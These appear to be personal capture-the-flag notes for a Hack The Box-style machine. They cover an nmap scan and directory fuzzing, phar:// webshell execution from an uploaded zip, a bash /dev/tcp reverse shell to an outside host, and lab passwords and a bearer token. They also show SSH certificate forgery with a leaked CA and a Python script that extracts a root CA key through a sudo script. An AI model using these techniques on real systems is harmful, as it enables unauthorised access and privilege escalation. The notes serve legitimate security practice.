1. Nmap

sudo nmap -sC -sV --vv -p- -Pn 10.129.247.150 -T5

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 62 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBATYMh9+BdqMhKwmA92batW+nssvLnig8s6LRKfe4TUd4IfmWsL1NeMU+03etGZssHGdzVGuKWinJEZP8nxPCSg=
|   256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDBeEEQbMbbA8xyqfl6Z4O04eLAIn5/kX1+dhQn96SJp
80/tcp   open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
2222/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBPYMhQGEpSM4Alh2GZifayHk69JaFxvinZsgYG+EmcDoShW6Q24vrCoG7QFlArzIHmzoNyPewZ05MjQ7dKttWbk=
|   256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAINF7vRlT0/vggYRb7yoEPXwV4ZAZEu0Qq/mfj1sKKjnK
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:46
Completed NSE at 11:46, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:46
Completed NSE at 11:46, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:46
Completed NSE at 11:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.21 seconds
           Raw packets sent: 65677 (2.890MB) | Rcvd: 65572 (2.623MB)

2. Port 80

Run on php, finding only directory with: ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt:FUZZ -u http://itrc.ssg.htb/FUZZ

uploads [Status: 301, Size: 314, Words: 20, Lines: 10, Duration: 147ms]
assets  [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 44ms]
api     [Status: 301, Size: 310, Words: 20, Lines: 10, Duration: 44ms]

ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt:FUZZ -u http://itrc.ssg.htb/FUZZ.php

index        [Status: 200, Size: 3120, Words: 291, Lines: 40, Duration: 74ms]
login        [Status: 200, Size: 433, Words: 82, Lines: 10, Duration: 46ms]
register     [Status: 200, Size: 566, Words: 98, Lines: 11, Duration: 52ms]
admin        [Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 51ms]
db           [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 67ms]
logout       [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 50ms]
dashboard    [Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 115ms]
ticket       [Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 215ms]
loggedin      Status: 200, Size: 46, Words: 7, Lines: 4, Duration: 183ms]

created account dani:dani

The ticket page let us upload zips. the filename is hashed? sha1

d69de9c5e422e5e987e1685dea20bf7cc5de19ee  shell.zip

http://itrc.ssg.htb/?page=phar://uploads/d69de9c5e422e5e987e1685dea20bf7cc5de19ee.zip/shell&cmd=whoami

php extensions work. using phar to run code of the webshell zip

can run since it saw cmd not defined

http://itrc.ssg.htb/?page=phar://uploads/d69de9c5e422e5e987e1685dea20bf7cc5de19ee.zip/shell&cmd=/bin/bash+-c+%27/bin/bash+-i+%3E%26+/dev/tcp/10.10.14.27/4444+0%3E%261%27

Command ran: `/bin/bash+-c+‘/bin/bash+-i+>&+/dev/tcp/10.10.14.27/4444+0>&1’

3 Reverse shell

jj:ugEG5rR5SG8uPd

trying to spray password to one of these

there are more zipfiles than my reverse shell zipgrep can grep zips so lets find users there:

for zipfile in *.zip; do zipgrep "zzinter" "$zipfile"; done
for zipfile in *.zip; do zipgrep "msainristil" "$zipfile"; done

Nothing
Found password : msainristil:82yards2closeit

4. msainristil

Found

This is from a CA … can impersonate?

ssh-keygen -t rsa -b 2048 -f dani
ssh-keygen -s ca-itrc -I ca-itrc.pub
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root dani.pub
ssh -o CertificateFile=dani-cert.pub -i dani root@localhost

Root has nothing? Docker? user flag on zzinter script suspicious with request? adding ssh key to that curl -s signserv.ssg.htb/v1/sign -d '{"pubkey": "'"$public_key"'", "username": "'"$username"'", "principals": "'"$principal"'"}' -H "Content-Type: application/json" -H "Authorization:Bearer 7Tqx6owMLtnt6oeR2ORbWmOPk30z4ZH901kH6UUT6vNziNqGrYgmSve5jCmnPJDE"

ssh-keygen -t rsa -b 2048 -f support
chmod 600 support
bash sign_key_api.sh support.pub support support #add key to server
ssh -o CertificateFile=support-cert.pub -i support support@ssg.htb -p 2222 # another ssh server may be the ssg.htb without vhost

from the machine it does not work. trying from kali

adding signserv to hosts gives a key add it to a new file support-cert.pub run the command ssh -o again works

5. Outside docker

em /etc/ssh/atuh_principalare the other principals to move to other users. For zzinter is zzinter_temp For root is root_user

applying the same tactics as the support part, root does not work. trying with zzinter

ssh-keygen -t rsa -b 2048 -f zzinter
chmod 600 zzinter
bash script.sh zzinter.pub zzinter zzinter_temp #add key to server
ssh -o CertificateFile=zzinter-cert.pub -i zzinter zzinter@ssg.htb -p 2222 # another ssh server may be the ssg.htb without vhost

Mistake from my side, remove restriction on words on script Worked now

this script works the same way as the other but there is no ca file…

online found: #CrackingSSHKEY

import string
import subprocess

header = "-----BEGIN OPENSSH PRIVATE KEY-----"
footer = "-----END OPENSSH PRIVATE KEY-----"
b64chars = string.ascii_letters + string.digits + "+/="
key = []
lines = 0
while True:
    for char in b64chars:
        with open("unknown.key", "w") as f:
            f.write(f"{header}\n{''.join(key)}{char}*")
        proc = subprocess.Popen("sudo /opt/sign_key.sh unknown.key keypair.pub root root_user 1",
                                stdout=subprocess.PIPE,
                                stderr=subprocess.PIPE,
                                shell=True)
        stdout, stderr = proc.communicate()
        if proc.returncode == 1:
            key.append(char)
            if len(key) > 1 and (len(key) - lines) % 70 == 0:
                key.append("\n")
                lines += 1
            break
    else:
        break
print(f"{header}\n{''.join(key)}\n{footer}")
with open("unknown.key", "w") as f:
    f.write(f"{header}\n{''.join(key)}\n{footer}")

ssh-keygen -s "root.cert" -z "1" -I "root" -V -1w:forever -n "root_user" "keypair.pub" after extracted the key to my pc due to a libcrypto error O.o

ssh -o CertificateFile=keypair-cert.pub -i keypair root@ssg.htb -p 2222